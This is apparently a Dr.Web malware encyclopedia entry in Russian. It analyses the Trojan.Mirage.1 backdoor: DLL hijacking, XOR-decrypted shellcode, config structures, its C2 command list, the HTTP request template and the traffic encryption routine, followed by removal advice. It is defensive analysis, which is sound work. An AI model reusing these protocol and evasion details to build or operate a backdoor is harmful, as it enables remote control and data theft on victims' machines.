Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Trojan.Mirage.1

Добавлен в вирусную базу Dr.Web: 2020-05-08

Описание добавлено:

Упаковщик: отсутствует

Даты компиляции:

  • 12:37:30 12.09.2018 (загрузчик rapi.dll)
  • 14:04:26 25.09.2018 (модуль полезной нагрузки Server.dll)

SHA1-хеши:

  • c4ef5981bee97c78d29fb245d84146a5db710782 (rapi.dll)
  • 34085c6d935c4df7ce7f80297b0c14a8d3b436d8 (cmdl32.dat)
  • d4558761c52027bf52aa9829bbb44fe12920381d (server.dll)

Описание

Trojan.Mirage.1 представляет собой многокомпонентный троян-бэкдор, предназначенный для работы в 32-битных операционных системах семейства Microsoft Windows. Используется для несанкционированного управления зараженным компьютером и доступа к содержащейся на устройстве информации. Заражение осуществляется методом внедрения загрузчика в запущенный валидный процесс операционной системы. Распаковка полезной нагрузки и выполнение произвольного кода производятся в оперативной памяти зараженного компьютера.

Принцип действия

Trojan.Mirage.1 содержит следующий комплект файлов:

  • WmiPrvServer.exe — файл с действительной цифровой подписью HP
    CN=Hewlett-Packard Company
    OU=Hewlett-Packard Company
    OU=Digital ID Class 3 - Microsoft Software Validation v2
    O=Hewlett-Packard Company
    L=Palo Alto
    S=California
    C=US
    
  • rapi.dll — загрузчик. Загружается в процесс WmiPrvServer.exe методом DLL Hijacking.
  • cmdl32.dat — зашифрованный шелл-код c полезной нагрузкой.
  • config.dat — зашифрованная конфигурация.

Модуль загрузчика Rapi.dll

Модуль загрузчика внедряется в процесс WmiPrvServer.exe методом DLL Hijacking. Программа получает адрес функции GetProcAddress через структуру PEB (Process Environment Block) путем сравнения строк. После чего получает адреса необходимых импортируемых функций:

LoadLibraryA
GetModuleFileNameA
VirtualAlloc
CloseHandle
CreateFileA
GetFileSize
ReadFile

Затем производится чтение файла cmdl32.dat из того же каталога, откуда был запущен родительский процесс троянской программы. Загрузчик расшифровывает файл операцией XOR с байтом 0x88 и JMP-инструкцией совершает переход в расшифрованный буфер.

Mirage #drweb

Зашифрованный шелл-код cmdl32.dat

В начале работы шелл-код вычисляет размер полезной нагрузки. Начало полезной нагрузки находится вызовом последней функции шелл-кода, а ее конец определяются по сигнатуре 0xDDCCBBAA.

Mirage #drweb

Далее программа получает список необходимых импортируемых функций. Через структуру PEB троян находит функцию GetProcAddress, при помощи которой сразу получает адрес функции LoadLibraryA. Поиск остальных импортов производится через две данные функции.

strcmp
memcpy
VirtualAlloc
VirtualProtect
WriteFile
lstrcatA
GetModuleHandleA
IsDebuggerPresent

Затем Trojan.Mirage.1 расшифровывает полезную нагрузку операцией XOR с байтом 0xCC, загружает полученный MZPE-файл в память и совершает вызов экспортируемой функции mystart.

Полезная нагрузка

Модуль полезной нагрузки представляет собой динамическую библиотеку с экспортируемыми функциями:

OnWork
RunUninstallA
Uninstall
mystart

Ниже мы рассмотрим две основные функции, обеспечивающие работу трояна: mystart и OnWork.

Функция mystart

Сперва проверяется наличие файла %TEMP%\\installstat.tmp. При наличии файла Trojan.Mirage.1 читает из него адрес прокси-сервера, а затем удаляет файл.

В качестве домашнего каталога используется папка c:\\programdata\\Tmp\\cmd32\\cmd32, при этом даты создания, модификации и доступа для папок c:\\programdata\\Tmp\\cmd32\\cmd32 и c:\\programdata\\Tmp\\ копируются с файла %WINDIR%\\System32\\winver.exe.

Для контроля запуска только одной копии вредоносной программы используется мьютекс Global\\dawdwere4de2wrw.

На данном этапе программа проверяет наличие процессов avp.exe и avpui.exe. Если хотя бы один из них обнаружен, то в процессе дальнейшей работы дополнительно проверяет наличие объекта события с именем Global\\v2kjgtts1 и, при его наличии, завершает свою работу.

Trojan.Mirage.1 может работать в трех режимах.

При работе в качестве службы проверяет наличие объекта события с именем Global\\v2kjgtts1. В случае отсутствия объекта события копирует свои файлы из текущей директории в c:\\programdata\\Tmp\\cmd32\\cmd32, после чего внедряется или в процесс iexplore.exe (в версиях ОС, начиная с Windows Vista и выше), или в процесс explorer.exe (в версиях ОС до Windows Vista).

При работе в контексте процессов explorer.exe или iexplore.exe удаляет свои файлы из директории %TEMP%, проверяет наличие мьютекса Global\\dawdwere4de2wrw и, при его отсутствии, создает его. Если троян запущен с повышенными правами, то он создает службу Windows Event Update, в противном случае устанавливается в автозагрузку через ключ реестра [HKCU\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows] 'Load' и приступает к выполнению основных функций.

В остальных случаях Trojan.Mirage.1 проверяет наличие мьютекса Global\\dawdwere4de2wrw. При его отсутствии внедряется или в процесс iexplore.exe (в версиях ОС, начиная с Windows Vista и выше), или в процесс explorer.exe (в версиях ОС старше Windows Vista).

Функция OnWork

После получения импортируемых функций программа сразу переходит к выполнению своих основных задач, минуя фазу установки в систему.

Читает файл c:\\programdata\\Tmp\\cmd32\\cmd32\\config.dat и расшифровывает его алгоритмом:

Mirage #drweb

Конфигурация имеет следующую структуру:

struct st_config
{
  char cnc_addr[32];
  char cnc_port[16];
  char interval[16];
  char timeout[16];
  char unk3[16];
  _DWORD unk4;
  char trojan_name[16];
  _DWORD unk5;
  wchar_t campaign[32];
};

Далее Trojan.Mirage.1 собирает различную информацию о зараженном компьютере и формирует структуру:

struct st_info
{
  wchar_t version[32];
  wchar_t pc_name_user[64];
  wchar_t bot_ip[64];
  wchar_t macaddr[64];
  _DWORD osver;
  _DWORD cpufreq;
  _DWORD cpunumber;
  _DWORD physmem;
  _DWORD is_wow64_process;
};

В поле version сохраняется строка %s-v1.0-%s, при этом значение v1.0 зашито в исследуемом образце, а две другие строки — trojan_name и campaign — берутся из конфигурации.

Далее происходит попытка установить соединение с управляющим сервером. Для этого проверяет наличие настроек прокси в записях реестра: [HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings] 'ProxyEnable' и [HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings] 'ProxyServer'. Если настройки присутствуют, троян будет использовать указанный прокси-сервер в своих запросах.

Trojan.Mirage.1 подключается к указанному в конфигурации управляющему серверу и отправляет следующий пакет:

struct st_hello
{
  _DWORD dword0; // 'f'
  _DWORD dword4; // случайное значение
  _DWORD dword8; // случайное значение
  _DWORD dwordC; // случайное значение
  wchar_t text[256]; // "Neo,welcome to the desert of real."
};

В ответ принимает следующие команды для выполнения:

  • 0 — отправить информацию о зараженном компьютере;
  • 1 — запустить плагин для работы с файловой системой;
  • 2 — запустить плагин для работы с командной оболочкой;
  • 5 — запустить плагин для работы с процессами;
  • 6 — запустить плагин для работы с командной оболочкой от другого пользователя;
  • 7 — запустить плагин для работы кейлоггера;
  • 51 — отправить информацию о зараженном компьютере;
  • 52 — скачать обновление вредоносной программы;
  • 53 — разорвать соединение с сервером;
  • 54 — разорвать соединение с сервером;
  • 200 — отправить информацию о накопителях, установленных в системе;
  • 201 — отправить листинг директории;
  • 202 — удалить файл;
  • 203 — переместить файл;
  • 204 — отправить файл на управляющий сервер;
  • 205 — скачать файл с управляющего сервера;
  • 206 — создать директорию;
  • 207 — выполнить команду через cmd.exe;
  • 300 — отправить на сервер список процессов на зараженном компьютере;
  • 301 — завершить процесс по указанному идентификатору;
  • 400 — отправить на сервер журнал событий кейлоггера.

Протокол связи с управляющим сервером

Связь с управляющим сервером осуществляется по протоколу HTTP. Запросы имеют следующий вид:

POST http://<cnc_addr>:<cnc_port>/result?hl=en&id=<id> HTTP/1.1\r\n
Accept: */*\r\n
Accept-Language: en-us\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)\r\n
Proxy-Connection: Keep-Alive\r\n
Content-Length: %d\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Encoding: gzip, deflate\r\n
Host: %s:%d\r\n\r\n

где <cnc_addr> — адрес управляющего сервера; <cnc_port> — порт управляющего сервера; <id> — случайная строка из букв нижнего регистра латинского алфавита. Уникальный <id> генерируется для каждого запроса.

Данные POST-запроса и ответа на него шифруются следующим алгоритмом:

for ( i = 0; i < data_size; ++i )
  request[req_header_len + i] = (i ^ 0x7C) + data[i];

Первый DWORD в ответе сервера является идентификатором команды, которую должен исполнить бот. Остальная часть буфера может содержать дополнительные параметры для этой команды.

Плагин для работы с командной оболочкой

Для перенаправления ввода/вывода из процесса cmd.exe используются три файла:

  • %TEMP%\\cache\\sysin_%d.log
  • %TEMP%\\cache\\sysout_%d.log
  • %TEMP%\\cache\\systemp_%d.log

где %d — случайное число, одинаковое для всех трех файлов, которое генерируется в момент запуска плагина. Если плагин был запущен командой №6, то буфер команды должен содержать домен, логин и пароль пользователя, из-под которого производится запуск командной оболочки.

После этого троян запускает командную оболочку с перенаправлением ввода/вывода в указанные выше файлы. Содержимое файла sysout_%d.log будет отправляться на управляющий сервер, а ответ сервера — сохраняться в файл sysin_%d.log.

Рекомендации по лечению

  1. В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
  2. Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
Скачать Dr.Web

По серийному номеру

Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store.

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Скачать Dr.Web

По серийному номеру

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке